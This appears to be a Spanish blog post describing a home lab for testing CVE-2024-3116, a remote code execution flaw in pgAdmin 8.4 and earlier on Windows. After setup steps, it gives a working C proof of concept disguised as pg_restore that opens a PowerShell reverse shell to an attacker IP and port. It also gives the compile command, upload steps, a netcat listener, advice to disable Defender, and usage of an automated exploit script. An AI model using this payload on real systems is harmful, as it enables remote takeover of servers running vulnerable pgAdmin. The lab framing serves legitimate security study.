
Creando un laboratorio y probando el CVE-2024-3116, una ejecución remota de código en pgadmin <=8.4
Creando un laboratorio y probando la CVE-2024-3116, una ejecución remota de código en pgadmin <=8.4
Usé este artículo como base.
Primero un pequeño comentario sobre este laboratorio: la documentación de pgadmin es bastante mala y no encontré rastro de nadie instalando pgadmin en windows...
python -m pip install -U pippython -m pip install wheelpython -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, añadir la siguiente línea:LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
SERVER_MODE = True
C:\Users\User\AppData\Roaming\pgAdmin (necesaria para setup.py)python site-packages/pgadmin4/setup.py setup-db. Puse Email = [email protected] y Password = password (este email y contraseña son importantes porque los necesitamos para conectarnos a pgadmin)Luego el servidor web:
MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apachepip install mod-wsgimod_wsgi-express module-confighttpd.conf de apachemod_wsgi-express start-server .\pgAdmin4.wsgi (debería ser accesible en el puerto 8000)Explotaré la vulnerabilidad desde una máquina Kali que está en la misma red que pgadmin.
De nuevo: ¡Este exploit solo funciona contra pgadmin en windows! ¡Y necesitamos un usuario válido para explotar esta vulnerabilidad!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
sudo apt-get install mingw-w64x86_64-w64-mingw32-gcc -o pg_restore poc.c

Tools > Import/Export Servers > ‘clic en el pequeño icono de carpeta’ > ‘Clic en los tres puntos en la esquina superior derecha de la ventana de selección de archivos y seleccionar upload’ > ‘seleccionar el binario PoC’

nc -lvnp 9001) para recibir la respuesta: ¡¡¡IMPORTANTE !!!!!!!!! Defender impedirá la ejecución del binario (así que desactiva defender)Escribí un script en python para explotar esta vulnerabilidad automáticamente, casi no hay que hacer nada.
Cosas que debes saber antes de usar este script:
pip install selenium)sudo apt-get install mingw-w64nc -lvnp <puerto>)Para usar este exploit usa este comando:
python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>
Una pequeña demo: https://youtu.be/zdMC3kbN0Is
Todos estos enlaces me ayudaron a instalar pgadmin en windows:
File > Preferences > Binary Paths
